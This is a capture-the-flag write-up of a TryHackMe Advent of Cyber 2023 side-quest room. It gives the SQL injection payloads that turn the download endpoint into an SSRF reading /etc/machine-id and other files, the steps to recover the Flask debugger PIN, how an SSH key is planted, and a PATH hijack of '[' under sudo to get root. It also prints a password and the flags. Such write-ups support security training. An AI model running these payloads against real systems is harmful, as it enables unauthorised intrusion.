After completing day 20 of Advent of Cyber 2023, we notice a QRCode inside one of the calendar PNG image inside the Git repository. The QRCode links to https://tryhackme.com/room/surfingyetiiscomingtotown.
Step 1: SQL injection into server-side request forgery
After starting this new machine (at 10.10.190.103 in this write-up), we discover a web server on port 8000.
This web service offers to download 3 SVG files.
The service seems to use a server-side code to hint to the browser that it should download a file.
Usually this is done using HTML download attributes, so there is something off.
For example, the first image links to http://10.10.190.103:8000/download?id=1.
This URL has a user-controllable parameter id. Let’s try to set id=':
http://10.10.190.103:8000/download?id='.
The server answers with a server-side HTTP error 500 displaying the Flask debugger.
This debug page contains a MySQL exception, some source code context for the
exception and an interactive Python console.
To use the interactive Python console we need a PIN-code,
usually given in the Flask command-line output.
Use the source code context, we are able to retrieve the SQL query:
| |
Let’s try to inject a bad url:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'http://127.0.0.1:8000/badurl' WHERE ''='.
We get another exception and the following code extract:
| |
The server is using Curl to fetch the URL!
Curl can also fetch local files using the file:// URL handler.
We might have a primitive to get files from the server.
As we know the path of the Python source code from the exception message, let’s fetch it:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///home/mcskidy/app/app.py' WHERE ''='.
It works!
Step 2: retrieving the Flask console PIN-code
Flask debugger can provide an interactive Python console if the user knows the debug PIN-code. This PIN-code is not random. There is already an excellent write-up by vozec on Hackropole which explains how to recover the PIN-code.
We need some information to retrieve the PIN-code:
- the username running the Flask app,
- the path to
flask/app.pymodule, - the output of
str(uuid.getnode()), - the output of
get_machine_id().
We already know the username mcskidy and the path
/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py using previous
debug information.
As we have only a SSRF to fetch files from the server filesystem, let’s fetch some files:
http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///etc/machine-id' WHERE ''='aee6189caee449718070b58132f2e4bahttp://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///proc/net/dev' WHERE ''='Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed eth0: 188249 2299 0 0 0 0 0 0 2584267 2337 0 0 0 0 0 0 lo: 656834 433 0 0 0 0 0 0 656834 433 0 0 0 0 0 0http://10.10.190.103:8000/download?id=1' AND 1=0 UNION ALL SELECT 'file:///sys/class/net/eth0/address' WHERE ''='02:4b:aa:22:06:69
Using these information, we now know that uuid.getnode() = 0x024baa220669
and get_machine_id() = b"aee6189caee449718070b58132f2e4ba".
We now remix Vozec script:
| |
Executing the script yields the PIN-code 811-299-197.
We enter the PIN-code at http://10.10.190.103:8000/console and we now have a working Python console!
Step 3: user takeover
Let’s use the Flask Python console to add our SSH key to mcskidy user:
| |
We can now ssh mcskidy@10.10.190.103.
There is a first flag inside mcskidy home directory!
Using find -mtime option, we notice that there is a git repository inside /home/mcskidy/app/.
Looking at the Git history reveals some secrets:
| |
We try these secrets with sudo -l.
$ sudo -l
[sudo] password for mcskidy:
Matching Defaults entries for mcskidy on proddb:
env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
(root) /usr/bin/bash /opt/check.sh
F453TgvhALjZ is mcskidy user password!
Step 4: admin takeover
sudo -l configuration definitely does not look like the default Debian
configuration. There might be a way to takeover the admin account.
We read the script at /opt/check.sh.
This script starts by sourcing /opt/.bashrc which itself starts by disabling
the [ Bash built-in:
| |
This means that [ in Bash scripts now refers to /usr/bin/[.
We notice that sudo secure_path allows to add /home/mcskidy to the PATH
environment variable.
We create /home/mcskidy/[ script with a payload that adds our SSH key to
/root/.ssh/authorized_keys.
Then:
mcskidy@proddb:/opt$ export PATH=/home/mcskidy:$PATH
mcskidy@proddb:/opt$ sudo /usr/bin/bash /opt/check.sh
We can now login as root:
$ ssh root@10.10.152.209
Last login: Wed Dec 13 18:11:57 2023 from 10.13.4.71
root@proddb:~# l
frosteau/ root.txt snap/ yetikey4.txt
root@proddb:~# cat root.txt yetikey4.txt
THM{BaNDiT_YeTi_Lik3s_PATH_HijacKing}
4-3f$FEBwD6AoqnyLjJ!!Hk4tc*V6w$UuK#evLWkBp
VoilĂ !